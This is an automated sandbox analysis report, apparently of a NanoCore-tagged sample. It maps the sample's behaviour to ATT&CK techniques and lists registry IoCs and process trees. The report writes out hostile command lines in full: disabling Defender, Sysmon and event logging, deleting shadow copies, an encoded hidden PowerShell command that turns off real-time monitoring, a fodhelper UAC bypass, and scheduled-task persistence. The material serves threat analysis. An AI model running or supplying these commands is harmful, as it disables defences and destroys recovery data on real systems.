nanocore | 50757c2f5592ee1f7497cd6d2f86bf19b16ad5d8b2380451b85cd68a68302796

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	gavanglinkf.tv_nano.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3332	powershell.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	gavanglinkf.tv_nano.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	gavanglinkf.tv_nano.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	gavanglinkf.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gavanglinkf.tv_nano.exe"	gavanglinkf.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	gavanglinkf.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gavanglinkf.tv_nano.exe"	gavanglinkf.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	gavanglinkf.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gavanglinkf.tv_nano.exe"	gavanglinkf.tv_nano.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
4272	netsh.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

Registry Run Keys / Startup Folder

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe	gavanglinkf.tv_nano.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.bat	gavanglinkf.tv_nano.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gavanglinkf.tv_nano.exe"	gavanglinkf.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gavanglinkf.tv_nano.exe"	gavanglinkf.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gavanglinkf.tv_nano.exe"	gavanglinkf.tv_nano.exe

Creates a new local user account 1 TTPs 2 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
1760	net.exe
3772	net1.exe

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2596	tasklist.exe

Drops file in System32 directory 6 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\kernel32.dll	gavanglinkf.tv_nano.exe
File opened for modification	C:\Windows\system32\ntdll.dll	gavanglinkf.tv_nano.exe
File opened for modification	C:\Windows\system32\user32.dll	gavanglinkf.tv_nano.exe
File created	C:\Windows\system32\svchost.exe	gavanglinkf.tv_nano.exe
File created	C:\Windows\system32\sysupdate.exe	gavanglinkf.tv_nano.exe
File opened for modification	C:\Windows\system32\sysupdate.exe	gavanglinkf.tv_nano.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
2552	wscript.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp"	gavanglinkf.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp"	gavanglinkf.tv_nano.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4644	gavanglinkf.tv_nano.exe

Launches sc.exe 28 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2556	sc.exe
3000	sc.exe
2296	sc.exe
5440	sc.exe
5624	sc.exe
4276	sc.exe
1216	sc.exe
3632	sc.exe
2816	sc.exe
3252	sc.exe
4576	sc.exe
720	sc.exe
4564	sc.exe
2692	sc.exe
1340	sc.exe
5680	sc.exe
2448	sc.exe
2620	sc.exe
5892	sc.exe
5144	sc.exe
1708	sc.exe
252	sc.exe
5972	sc.exe
4208	sc.exe
3896	sc.exe
1328	sc.exe
5416	sc.exe
1692	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2324	cmd.exe
5784	cmd.exe
2836	cmd.exe
4548	cmd.exe
1180	cmd.exe
2496	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4456	netsh.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3020	ipconfig.exe
4844	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3060	systeminfo.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5600	vssadmin.exe
620	vssadmin.exe

Modifies Control Panel 1 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Control Panel\Desktop\WallpaperStyle = "2"	gavanglinkf.tv_nano.exe

Modifies registry class 16 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gavanglinkf.tv_nano.exe"	gavanglinkf.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command	gavanglinkf.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet	gavanglinkf.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell	gavanglinkf.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	gavanglinkf.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\gavanglinkf.tv_nano.exe\" \"%1\""	gavanglinkf.tv_nano.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command\DelegateExecute	gavanglinkf.tv_nano.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet"	gavanglinkf.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	gavanglinkf.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	gavanglinkf.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open\command	gavanglinkf.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell	gavanglinkf.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	gavanglinkf.tv_nano.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open	gavanglinkf.tv_nano.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings\shell\open	gavanglinkf.tv_nano.exe
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\ms-settings	gavanglinkf.tv_nano.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1732	schtasks.exe
1164	schtasks.exe
2528	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3332	powershell.exe
3332	powershell.exe
3332	powershell.exe
5532	WMIC.exe
5532	WMIC.exe
5532	WMIC.exe
5532	WMIC.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
5980	WMIC.exe
5980	WMIC.exe
5980	WMIC.exe
5980	WMIC.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe
4644	gavanglinkf.tv_nano.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4644	gavanglinkf.tv_nano.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeIncreaseQuotaPrivilege	5532	WMIC.exe
Token: SeSecurityPrivilege	5532	WMIC.exe
Token: SeTakeOwnershipPrivilege	5532	WMIC.exe
Token: SeLoadDriverPrivilege	5532	WMIC.exe
Token: SeSystemProfilePrivilege	5532	WMIC.exe
Token: SeSystemtimePrivilege	5532	WMIC.exe
Token: SeProfSingleProcessPrivilege	5532	WMIC.exe
Token: SeIncBasePriorityPrivilege	5532	WMIC.exe
Token: SeCreatePagefilePrivilege	5532	WMIC.exe
Token: SeBackupPrivilege	5532	WMIC.exe
Token: SeRestorePrivilege	5532	WMIC.exe
Token: SeShutdownPrivilege	5532	WMIC.exe
Token: SeDebugPrivilege	5532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5532	WMIC.exe
Token: SeRemoteShutdownPrivilege	5532	WMIC.exe
Token: SeUndockPrivilege	5532	WMIC.exe
Token: SeManageVolumePrivilege	5532	WMIC.exe
Token: 33	5532	WMIC.exe
Token: 34	5532	WMIC.exe
Token: 35	5532	WMIC.exe
Token: 36	5532	WMIC.exe
Token: SeIncreaseQuotaPrivilege	5532	WMIC.exe
Token: SeSecurityPrivilege	5532	WMIC.exe
Token: SeTakeOwnershipPrivilege	5532	WMIC.exe
Token: SeLoadDriverPrivilege	5532	WMIC.exe
Token: SeSystemProfilePrivilege	5532	WMIC.exe
Token: SeSystemtimePrivilege	5532	WMIC.exe
Token: SeProfSingleProcessPrivilege	5532	WMIC.exe
Token: SeIncBasePriorityPrivilege	5532	WMIC.exe
Token: SeCreatePagefilePrivilege	5532	WMIC.exe
Token: SeBackupPrivilege	5532	WMIC.exe
Token: SeRestorePrivilege	5532	WMIC.exe
Token: SeShutdownPrivilege	5532	WMIC.exe
Token: SeDebugPrivilege	5532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5532	WMIC.exe
Token: SeRemoteShutdownPrivilege	5532	WMIC.exe
Token: SeUndockPrivilege	5532	WMIC.exe
Token: SeManageVolumePrivilege	5532	WMIC.exe
Token: 33	5532	WMIC.exe
Token: 34	5532	WMIC.exe
Token: 35	5532	WMIC.exe
Token: 36	5532	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3332	powershell.exe
Token: SeSecurityPrivilege	3332	powershell.exe
Token: SeTakeOwnershipPrivilege	3332	powershell.exe
Token: SeLoadDriverPrivilege	3332	powershell.exe
Token: SeSystemProfilePrivilege	3332	powershell.exe
Token: SeSystemtimePrivilege	3332	powershell.exe
Token: SeProfSingleProcessPrivilege	3332	powershell.exe
Token: SeIncBasePriorityPrivilege	3332	powershell.exe
Token: SeCreatePagefilePrivilege	3332	powershell.exe
Token: SeBackupPrivilege	3332	powershell.exe
Token: SeRestorePrivilege	3332	powershell.exe
Token: SeShutdownPrivilege	3332	powershell.exe
Token: SeDebugPrivilege	3332	powershell.exe
Token: SeSystemEnvironmentPrivilege	3332	powershell.exe
Token: SeRemoteShutdownPrivilege	3332	powershell.exe
Token: SeUndockPrivilege	3332	powershell.exe
Token: SeManageVolumePrivilege	3332	powershell.exe
Token: 33	3332	powershell.exe
Token: 34	3332	powershell.exe
Token: 35	3332	powershell.exe
Token: 36	3332	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4644	gavanglinkf.tv_nano.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4644 wrote to memory of 3332	4644	gavanglinkf.tv_nano.exe	88
PID 4644 wrote to memory of 1216	4644	gavanglinkf.tv_nano.exe	90
PID 4644 wrote to memory of 3632	4644	gavanglinkf.tv_nano.exe	92
PID 4644 wrote to memory of 2692	4644	gavanglinkf.tv_nano.exe	94
PID 4644 wrote to memory of 2556	4644	gavanglinkf.tv_nano.exe	96
PID 4644 wrote to memory of 1340	4644	gavanglinkf.tv_nano.exe	98
PID 4644 wrote to memory of 252	4644	gavanglinkf.tv_nano.exe	100
PID 4644 wrote to memory of 5972	4644	gavanglinkf.tv_nano.exe	102
PID 4644 wrote to memory of 2816	4644	gavanglinkf.tv_nano.exe	104
PID 4644 wrote to memory of 4208	4644	gavanglinkf.tv_nano.exe	106
PID 4644 wrote to memory of 3000	4644	gavanglinkf.tv_nano.exe	109
PID 4644 wrote to memory of 2296	4644	gavanglinkf.tv_nano.exe	111
PID 4644 wrote to memory of 3252	4644	gavanglinkf.tv_nano.exe	113
PID 4644 wrote to memory of 5680	4644	gavanglinkf.tv_nano.exe	115
PID 4644 wrote to memory of 2448	4644	gavanglinkf.tv_nano.exe	117
PID 4644 wrote to memory of 5440	4644	gavanglinkf.tv_nano.exe	119
PID 4644 wrote to memory of 2620	4644	gavanglinkf.tv_nano.exe	121
PID 4644 wrote to memory of 5624	4644	gavanglinkf.tv_nano.exe	123
PID 4644 wrote to memory of 5892	4644	gavanglinkf.tv_nano.exe	125
PID 4644 wrote to memory of 3896	4644	gavanglinkf.tv_nano.exe	127
PID 4644 wrote to memory of 4276	4644	gavanglinkf.tv_nano.exe	129
PID 4644 wrote to memory of 5144	4644	gavanglinkf.tv_nano.exe	131
PID 4644 wrote to memory of 4576	4644	gavanglinkf.tv_nano.exe	133
PID 4644 wrote to memory of 720	4644	gavanglinkf.tv_nano.exe	135
PID 4644 wrote to memory of 1708	4644	gavanglinkf.tv_nano.exe	137
PID 4644 wrote to memory of 4708	4644	gavanglinkf.tv_nano.exe	139
PID 4644 wrote to memory of 1328	4644	gavanglinkf.tv_nano.exe	140
PID 4644 wrote to memory of 5416	4644	gavanglinkf.tv_nano.exe	142
PID 4708 wrote to memory of 5592	4708	fodhelper.exe	144
PID 4644 wrote to memory of 5600	4644	gavanglinkf.tv_nano.exe	145
PID 4644 wrote to memory of 5532	4644	gavanglinkf.tv_nano.exe	147
PID 4644 wrote to memory of 1732	4644	gavanglinkf.tv_nano.exe	149
PID 4644 wrote to memory of 1164	4644	gavanglinkf.tv_nano.exe	152
PID 4644 wrote to memory of 2324	4644	gavanglinkf.tv_nano.exe	159
PID 4644 wrote to memory of 5784	4644	gavanglinkf.tv_nano.exe	161
PID 4644 wrote to memory of 2836	4644	gavanglinkf.tv_nano.exe	162
PID 4644 wrote to memory of 4548	4644	gavanglinkf.tv_nano.exe	163
PID 4644 wrote to memory of 1180	4644	gavanglinkf.tv_nano.exe	164
PID 4644 wrote to memory of 2496	4644	gavanglinkf.tv_nano.exe	165
PID 4644 wrote to memory of 2528	4644	gavanglinkf.tv_nano.exe	166
PID 4644 wrote to memory of 2552	4644	gavanglinkf.tv_nano.exe	173
PID 5784 wrote to memory of 3060	5784	cmd.exe	174
PID 1180 wrote to memory of 3020	1180	cmd.exe	175
PID 4548 wrote to memory of 5668	4548	cmd.exe	176
PID 2496 wrote to memory of 4844	2496	cmd.exe	177
PID 2836 wrote to memory of 2596	2836	cmd.exe	178
PID 2324 wrote to memory of 620	2324	cmd.exe	179
PID 2324 wrote to memory of 5980	2324	cmd.exe	180
PID 4644 wrote to memory of 4512	4644	gavanglinkf.tv_nano.exe	181
PID 4644 wrote to memory of 2284	4644	gavanglinkf.tv_nano.exe	182
PID 4644 wrote to memory of 4272	4644	gavanglinkf.tv_nano.exe	183
PID 4644 wrote to memory of 4564	4644	gavanglinkf.tv_nano.exe	184
PID 4644 wrote to memory of 1692	4644	gavanglinkf.tv_nano.exe	185
PID 4644 wrote to memory of 1776	4644	gavanglinkf.tv_nano.exe	186
PID 4644 wrote to memory of 4456	4644	gavanglinkf.tv_nano.exe	187
PID 2284 wrote to memory of 2952	2284	net.exe	193
PID 4644 wrote to memory of 1760	4644	gavanglinkf.tv_nano.exe	194
PID 4644 wrote to memory of 4968	4644	gavanglinkf.tv_nano.exe	195
PID 1760 wrote to memory of 3772	1760	net.exe	198
PID 4968 wrote to memory of 3940	4968	net.exe	199

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\gavanglinkf.tv_nano.exe
"C:\Users\Admin\AppData\Local\Temp\gavanglinkf.tv_nano.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3332
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1216
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3632
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2692
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2556
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:1340
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:252
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5972
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2816
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4208
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wuauserv start= disabled
  2⤵
  - Launches sc.exe
  PID:3000
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop bits
  2⤵
  - Launches sc.exe
  PID:2296
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config bits start= disabled
  2⤵
  - Launches sc.exe
  PID:3252
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop vss
  2⤵
  - Launches sc.exe
  PID:5680
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config vss start= disabled
  2⤵
  - Launches sc.exe
  PID:2448
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop swprv
  2⤵
  - Launches sc.exe
  PID:5440
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config swprv start= disabled
  2⤵
  - Launches sc.exe
  PID:2620
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop EventLog
  2⤵
  - Launches sc.exe
  PID:5624
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config EventLog start= disabled
  2⤵
  - Launches sc.exe
  PID:5892
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SysmonLog
  2⤵
  - Launches sc.exe
  PID:3896
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
  2⤵
  - Launches sc.exe
  PID:4276
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop Sysmon
  2⤵
  - Launches sc.exe
  PID:5144
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config Sysmon start= disabled
  2⤵
  - Launches sc.exe
  PID:4576
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop sense
  2⤵
  - Launches sc.exe
  PID:720
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config sense start= disabled
  2⤵
  - Launches sc.exe
  PID:1708
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4708
- - C:\Users\Admin\AppData\Local\Temp\gavanglinkf.tv_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\gavanglinkf.tv_nano.exe"
    3⤵
    PID:5592
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1328
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5416
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:5600
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5532
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\gavanglinkf.tv_nano.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1732
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\gavanglinkf.tv_nano.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1164
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:620
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:5980
- C:\Windows\SYSTEM32\cmd.exe
